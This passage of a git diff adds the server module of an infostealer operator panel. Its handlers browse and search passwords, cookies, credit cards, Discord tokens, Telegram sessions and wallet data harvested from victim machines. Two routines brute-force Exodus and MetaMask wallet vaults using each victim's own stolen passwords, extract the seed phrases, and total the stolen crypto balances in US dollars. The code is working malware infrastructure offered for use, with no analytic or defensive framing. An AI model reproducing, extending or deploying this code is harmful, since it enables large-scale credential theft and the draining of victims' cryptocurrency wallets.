Error("clientId required"); + await enrichDiscordToken(ctx, clientId, token); + const profile = ctx.db.prepare(`SELECT * FROM discord_profiles WHERE token = ?`).get(token); + return { ok: true, profile }; + }, + async enrich_all_discord(ctx, params) { + const cid = params?.clientId; + const where = cid ? "WHERE client_id = ?" : ""; + const args = cid ? [cid] : []; + const tokens = ctx.db.prepare(`SELECT client_id, token FROM discord_tokens ${where} ORDER BY captured_at DESC`).all(...args); + await Promise.all(tokens.map((t) => enrichDiscordToken(ctx, t.client_id, t.token).catch(() => { + }))); + ctx.broadcast("harvest_update", { clientId: cid || null }); + return { ok: true, enriched: tokens.length }; + }, + list_files(ctx, params) { + return listTable(ctx, TABLE_CFGS.files, params); + }, + list_extensions(ctx, params) { + return listTable(ctx, TABLE_CFGS.extensions, params); + }, + list_wallets(ctx, params) { + return listTable(ctx, TABLE_CFGS.wallets, params); + }, + list_telegram(ctx, params) { + return listTable(ctx, TABLE_CFGS.telegram, params); + }, + list_keys(ctx, params) { + return listTable(ctx, TABLE_CFGS.keys, params); + }, + list_seeds(ctx, params) { + return listTable(ctx, TABLE_CFGS.seeds, params); + }, + get_wallet_seeds(ctx, params) { + const cid = params?.clientId; + if (!cid) + throw new Error("clientId required"); + const rows = ctx.db.prepare(`SELECT source, phrase, addresses FROM seeds WHERE client_id = ? AND source LIKE 'wallet:%' AND valid = 1`).all(cid); + const result = {}; + for (const r of rows) { + const walletName = r.source.replace(/^wallet:/, ""); + result[walletName] = { mnemonic: r.phrase, addresses: JSON.parse(r.addresses || "[]") }; + } + return result; + }, + list_app_credentials(ctx, params) { + return listTable(ctx, TABLE_CFGS.app_credentials, params); + }, + global_search(ctx, params) { + const search = String(params?.search || "").trim(); + if (!search) + return { groups: [] }; + const cid = params?.clientId; + const perGroup = Math.max(1, Math.min(50, Number(params?.limit ?? 10))); + const pattern = `%${search}%`; + const SEARCH_TABLES = [ + { key: "passwords", label: "Passwords", cfg: TABLE_CFGS.passwords }, + { key: "cookies", label: "Cookies", cfg: TABLE_CFGS.cookies }, + { key: "autofill", label: "Autofill", cfg: TABLE_CFGS.autofill }, + { key: "history", label: "History", cfg: TABLE_CFGS.history }, + { key: "bookmarks", label: "Bookmarks", cfg: TABLE_CFGS.bookmarks }, + { key: "creditCards", label: "Credit Cards", cfg: TABLE_CFGS.credit_cards }, + { key: "discordTokens", label: "Discord Tokens", cfg: TABLE_CFGS.discord_tokens }, + { key: "files", label: "Files", cfg: TABLE_CFGS.files }, + { key: "extensions", label: "Extensions", cfg: TABLE_CFGS.extensions }, + { key: "wallets", label: "Wallets", cfg: TABLE_CFGS.wallets }, + { key: "keys", label: "Keys", cfg: TABLE_CFGS.keys }, + { key: "seeds", label: "Seeds", cfg: TABLE_CFGS.seeds }, + { key: "appCredentials", label: "App Credentials", cfg: TABLE_CFGS.app_credentials } + ]; + const groups = []; + for (const { key, label, cfg } of SEARCH_TABLES) { + if (!cfg.searchOn.length) + continue; + const wheres = [], args = []; + if (cid) { + wheres.push("client_id = ?"); + args.push(cid); + } + wheres.push("(" + cfg.searchOn.map((c) => `${c} LIKE ?`).join(" OR ") + ")"); + for (let i = 0;i < cfg.searchOn.length; i++) + args.push(pattern); + const where = " WHERE " + wheres.join(" AND "); + const total = ctx.db.prepare(`SELECT COUNT(*) as n FROM ${cfg.tbl}${where}`).get(...args).n; + if (total === 0) + continue; + const rows = ctx.db.prepare(`SELECT ${cfg.sel} FROM ${cfg.tbl}${where} ORDER BY ${cfg.order} LIMIT ${perGroup}`).all(...args); + groups.push({ key, label, total, rows }); + } + return { groups }; + }, + download_telegram(ctx, params) { + const id = params?.id; + if (!id) + throw new Error("id required"); + const row = ctx.db.prepare(`SELECT account, content FROM telegram_sessions WHERE id = ?`).get(id); + if (!row?.content) + throw new Error("No data found"); + return { name: row.account + "_tdata.zip", content: Buffer.from(row.content).toString("base64") }; + }, + list_wallet_data(ctx, params) { + const cid = params?.clientId; + if (!cid) + throw new Error("clientId required"); + const rows = ctx.db.prepare(`SELECT id, client_id AS clientId, name, path, type, addresses, vault_data IS NOT NULL AS hasVault, size, captured_at FROM wallet_data WHERE client_id = ? ORDER BY captured_at DESC`).all(cid); + for (const r of rows) + r.addresses = JSON.parse(r.addresses || "[]"); + return { rows, total: rows.length }; + }, + download_wallet_data(ctx, params) { + const id = params?.id; + if (!id) + throw new Error("id required"); + const row = ctx.db.prepare(`SELECT name, content FROM wallet_data WHERE id = ?`).get(id); + if (!row?.content) + throw new Error("No data found"); + return { name: row.name, content: Buffer.from(row.content).toString("base64") }; + }, + async check_balances(ctx, params) { + const cid = params?.clientId; + if (!cid) + throw new Error("clientId required"); + const wallets = ctx.db.prepare(`SELECT name, addresses FROM wallet_data WHERE client_id = ? AND addresses IS NOT NULL AND addresses != '[]'`).all(cid); + const allAddrs = []; + for (const w of wallets) { + for (const addr of JSON.parse(w.addresses || "[]")) + allAddrs.push({ wallet: w.name, address: addr }); + } + if (!allAddrs.length) + return { results: [], message: "No addresses found" }; + const unique = [...new Set(allAddrs.map((a) => a.address.toLowerCase()))]; + const balanceMap = {}; + await Promise.all(BALANCE_CHAINS.map(async (chain2) => { + try { + const res = await fetch(chain2.rpc, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(unique.map((addr, i) => ({ + jsonrpc: "2.0", + method: "eth_getBalance", + params: [addr, "latest"], + id: i + }))) + }); + const data = await res.json(); + for (const r of Array.isArray(data) ? data : [data]) { + if (!r.result) + continue; + const addr = unique[r.id]; + const wei = BigInt(r.result); + if (wei === 0n) + continue; + if (!balanceMap[addr]) + balanceMap[addr] = {}; + balanceMap[addr][chain2.name] = Number(wei) / 1000000000000000000; + } + } catch (_) { + } + })); + const results = allAddrs.map((a) => ({ + wallet: a.wallet, + address: a.address, + balances: balanceMap[a.address.toLowerCase()] || {} + })); + return { results }; + }, + async crack_exodus(ctx, params) { + const cid = params?.clientId; + const walletName = params?.walletName || "Exodus"; + if (!cid) + throw new Error("clientId required"); + const wallet = ctx.db.prepare(`SELECT content FROM wallet_data WHERE client_id = ? AND name = ?`).get(cid, walletName); + if (!wallet?.content) + return { cracked: false, tried: 0, skipped: true, reason: "No wallet content found" }; + const passwords = ctx.db.prepare(`SELECT DISTINCT password FROM passwords WHERE client_id = ? AND password IS NOT NULL AND password != ''`).all(cid).map((r) => r.password); + if (!passwords.length) + return { cracked: false, tried: 0, skipped: true, reason: "No passwords available" }; + const content = Buffer.from(wallet.content); + function extractFromZip(buf, targetSuffix) { + function findEOCD(b) { + for (let i = b.length - 22;i >= Math.max(0, b.length - 65557); i--) + if (b.readUInt32LE(i) === 101010256) + return i; + return -1; + } + const eocd = findEOCD(buf); + if (eocd < 0) + return null; + const cdOff = buf.readUInt32LE(eocd + 16); + const cdCount = buf.readUInt16LE(eocd + 10); + let off = cdOff; + for (let i = 0;i < cdCount; i++) { + if (buf.readUInt32LE(off) !== 33639248) + break; + const compMethod = buf.readUInt16LE(off + 10); + const compSize = buf.readUInt32LE(off + 20); + const fnameLen = buf.readUInt16LE(off + 28); + const extraLen = buf.readUInt16LE(off + 30); + const commentLen = buf.readUInt16LE(off + 32); + const localOffset = buf.readUInt32LE(off + 42); + const fname = buf.slice(off + 46, off + 46 + fnameLen).toString("utf8"); + if (fname.endsWith(targetSuffix)) { + const lfn = buf.readUInt16LE(localOffset + 26); + const lex = buf.readUInt16LE(localOffset + 28); + const dataStart = localOffset + 30 + lfn + lex; + const comp = buf.slice(dataStart, dataStart + compSize); + if (compMethod === 0) + return comp; + if (compMethod === 8) + return inflateRawSync(comp); + } + off += 46 + fnameLen + extraLen + commentLen; + } + return null; + } + function getSecoBuffer(buf, filename) { + if (buf.readUInt32LE(0) === 67324752) + return extractFromZip(buf, filename); + if (buf.slice(0, 4).toString("ascii") === "SECO") + return buf; + return null; + } + const SUPPORTED_WALLETS = ["Exodus"]; + const supported = SUPPORTED_WALLETS.includes(walletName); + const warning = supported ? null : `"${walletName}" is not a verified wallet. Only the following wallets have been tested: ${SUPPORTED_WALLETS.join(", ")}. Results may be inaccurate — verify manually.`; + const seedBuf = getSecoBuffer(content, "seed.seco"); + if (!seedBuf) + return { cracked: false, tried: 0, skipped: true, reason: "No seed.seco found — wallet format not supported for this method" }; + for (const password of passwords) { + try { + const result = import_secure_container.decrypt(seedBuf, password); + const dataLen = result.data.readUInt32BE(0); + const shrinked = result.data.slice(4, dataLen + 4); + const gunzipped = gunzipSync(shrinked); + const mnemonic = import_bitcoin_seed.fromBuffer(gunzipped).mnemonicString; + const addresses = [ + ...deriveEthAddresses(mnemonic, 2).map((a) => ({ chain: "EVM", address: a })), + ...deriveBtcAddresses(mnemonic, 1).map((a) => ({ chain: "BTC", address: a })), + ...deriveLtcAddresses(mnemonic, 1).map((a) => ({ chain: "LTC", address: a })), + ...deriveTrxAddresses(mnemonic, 1).map((a) => ({ chain: "TRX", address: a })) + ]; + const words = mnemonic.split(/\s+/); + stmts.insSeed.run(cid, `wallet:${walletName}`, null, mnemonic, words.length, 1, JSON.stringify(addresses), Date.now()); + return { cracked: true, password, mnemonic, addresses, warning }; + } catch (_) { + continue; + } + } + return { cracked: false, tried: passwords.length, warning }; + }, + async check_cracked_balances(ctx, params) { + const mnemonic = params?.mnemonic; + if (!mnemonic) + throw new Error("mnemonic required"); + const ethAddrs = deriveEthAddresses(mnemonic, 3); + const btcAddrs = deriveBtcAddresses(mnemonic, 2); + const ltcAddrs = deriveLtcAddresses(mnemonic, 2); + const trxAddrs = deriveTrxAddresses(mnemonic, 2); + const [evmNative, erc20, btcBals, ltcBals, trxBals] = await Promise.all([ + checkEvmNativeBalances(ethAddrs), + checkErc20Balances(ethAddrs), + checkBtcBalances(btcAddrs), + checkLtcBalances(ltcAddrs), + checkTrxBalances(trxAddrs) + ]); + const totals = {}; + function merge(balMap) { + for (const addr of Object.keys(balMap)) { + for (const [chain2, val] of Object.entries(balMap[addr])) { + totals[chain2] = (totals[chain2] || 0) + val; + } + } + } + merge(evmNative); + merge(erc20); + merge(btcBals); + merge(ltcBals); + merge(trxBals); + let usdTotal = 0; + const usdByAsset = {}; + try { + const ids = "bitcoin,ethereum,tron,litecoin,binancecoin,matic-network,avalanche-2"; + const priceRes = await fetch(`https://api.coingecko.com/api/v3/simple/price?ids=${ids}&vs_currencies=usd`); + const prices = await priceRes.json(); + const priceMap = { + BTC: prices.bitcoin?.usd || 0, + LTC: prices.litecoin?.usd || 0, + ETH: prices.ethereum?.usd || 0, + BSC: prices.binancecoin?.usd || 0, + Polygon: prices["matic-network"]?.usd || 0, + Arbitrum: prices.ethereum?.usd || 0, + Optimism: prices.ethereum?.usd || 0, + Base: prices.ethereum?.usd || 0, + Avalanche: prices["avalanche-2"]?.usd || 0, + TRX: prices.tron?.usd || 0 + }; + for (const [asset, amount] of Object.entries(totals)) { + if (asset.includes("USDT") || asset.includes("USDC") || asset.includes("DAI")) { + const usd = amount; + usdByAsset[asset] = usd; + usdTotal += usd; + } else { + const price = priceMap[asset] || 0; + const usd = amount * price; + if (usd > 0) { + usdByAsset[asset] = usd; + usdTotal += usd; + } + } + } + } catch (_) { + } + const allAddresses = [ + ...ethAddrs.map((a) => ({ chain: "EVM", address: a })), + ...btcAddrs.map((a) => ({ chain: "BTC", address: a })), + ...ltcAddrs.map((a) => ({ chain: "LTC", address: a })), + ...trxAddrs.map((a) => ({ chain: "TRX", address: a })) + ]; + return { addresses: allAddresses, totals, usdTotal: Math.round(usdTotal * 100) / 100, usdByAsset }; + }, + async crack_vault(ctx, params) { + const cid = params?.clientId; + const walletName = params?.walletName; + if (!cid) + throw new Error("clientId required"); + if (!walletName) + throw new Error("walletName required"); + const SUPPORTED_VAULTS = ["MetaMask"]; + const supported = SUPPORTED_VAULTS.some((s) => walletName.toLowerCase().includes(s.toLowerCase())); + const warning = supported ? null : `"${walletName}" is not a verified vault wallet. Only the following have been tested: ${SUPPORTED_VAULTS.join(", ")}. Results may be inaccurate — verify manually.`; + const wallet = ctx.db.prepare(`SELECT vault_data FROM wallet_data WHERE client_id = ? AND name = ? AND vault_data IS NOT NULL`).get(cid, walletName); + if (!wallet?.vault_data) + return { cracked: false, tried: 0, skipped: true, reason: "No vault data found for this wallet" }; + const passwords = ctx.db.prepare(`SELECT DISTINCT password FROM passwords WHERE client_id = ? AND password IS NOT NULL AND password != ''`).all(cid).map((r) => r.password); + if (!passwords.length) + return { cracked: false, tried: 0, skipped: true, reason: "No passwords available" }; + const vault = JSON.parse(wallet.vault_data); + const dataBytes = Uint8Array.from(atob(vault.data), (c) => c.charCodeAt(0)); + const iv = Uint8Array.from(atob(vault.iv), (c) => c.charCodeAt(0)); + const salt = Uint8Array.from(atob(vault.salt), (c) => c.charCodeAt(0)); + const enc = new TextEncoder; + for (const password of passwords) { + try { + const keyMaterial = await crypto.subtle.importKey("raw", enc.encode(password), "PBKDF2", false, ["deriveKey"]); + const key = await crypto.subtle.deriveKey({ name: "PBKDF2", salt, iterations: 600000, hash: "SHA-256" }, keyMaterial, { name: "AES-GCM", length: 256 }, false, ["decrypt"]); + const decrypted = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, dataBytes); + const decoded = new TextDecoder().decode(decrypted); + const result = JSON.parse(decoded); + const accounts = extractVaultAccounts(result); + const mnemonic = accounts.find((a) => a.mnemonic)?.mnemonic || null; + if (mnemonic) { + const words = mnemonic.split(/\s+/); + const addresses = [ + ...deriveEthAddresses(mnemonic, 2).map((a) => ({ chain: "EVM", address: a })), + ...deriveBtcAddresses(mnemonic, 1).map((a) => ({ chain: "BTC", address: a })), + ...deriveLtcAddresses(mnemonic, 1).map((a) => ({ chain: "LTC", address: a })), + ...deriveTrxAddresses(mnemonic, 1).map((a) => ({ chain: "TRX", address: a })) + ]; + stmts.insSeed.run(cid, `wallet:${walletName}`, null, mnemonic, words.length, 1, JSON.stringify(addresses), Date.now()); + } + return { cracked: true, password, mnemonic, accounts, warning }; + } catch (_) { + continue; + } + } + return { cracked: false, tried: passwords.length, warning }; + }, + async check_seed_balances(ctx, params) { + const id = params?.id; + if (!id) + throw new Error("id required"); + const row = ctx.db.prepare(`SELECT phrase, valid FROM seeds WHERE id = ?`).get(id); + if (!row) + throw new Error("Seed not found"); + if (!row.valid) + throw new Error("Seed phrase is not a valid BIP39 mnemonic"); + return this.check_cracked_balances(ctx, { mnemonic: row.phrase }); + }, + delete_client(ctx, params, { caller }) { + if (!["admin", "user"].includes(caller.role)) + throw new Error("Insufficient permissions"); + const cid = params?.clientId; + if (!cid) + throw new Error("clientId required"); + clearClient(ctx.db, cid); + ctx.db.prepare(`DELETE FROM client_runs WHERE client_id=?`).run(cid); + ctx.broadcast("client_deleted", { clientId: cid }); + return { ok: true }; + }, + delete_all(ctx, _params, { caller }) { + if (caller.role !== "admin") + throw new Error("Admin only"); + for (const tbl of ["passwords", "cookies", "autofill", "history", "bookmarks", "credit_cards", "discord_tokens", "discord_profiles", "files", "extensions", "wallets", "wallet_data", "telegram_sessions", "cloud_keys", "seeds", "app_credentials", "client_runs"]) + ctx.db.exec(`DELETE FROM ${tbl}`); + ctx.broadcast("cleared", { by: caller.id }); + return { ok: true }; + } + } +}; +export { + server_src_default as default +}; diff --git a/signature.json b/signature.json new file mode 100644 index 0000000..b85058e --- /dev/null +++ b/signature.json @@ -0,0 +1,5 @@ +{ + "algorithm": "ed25519", + "publicKey": "IqAQbR5RB+YOhFg3HILNtqqULAU0Z4YAbSEZXDNvDv4=", + "signature": "mU0o8zirTVXTnNMEc1uK0ixHkzI52cFpPDPvJ1xMcZJ9DBOZVhS2ZeNb7mhgAaGkuHr4soChxPM4wUvcWm02Bw==" +} \ No newline at end of file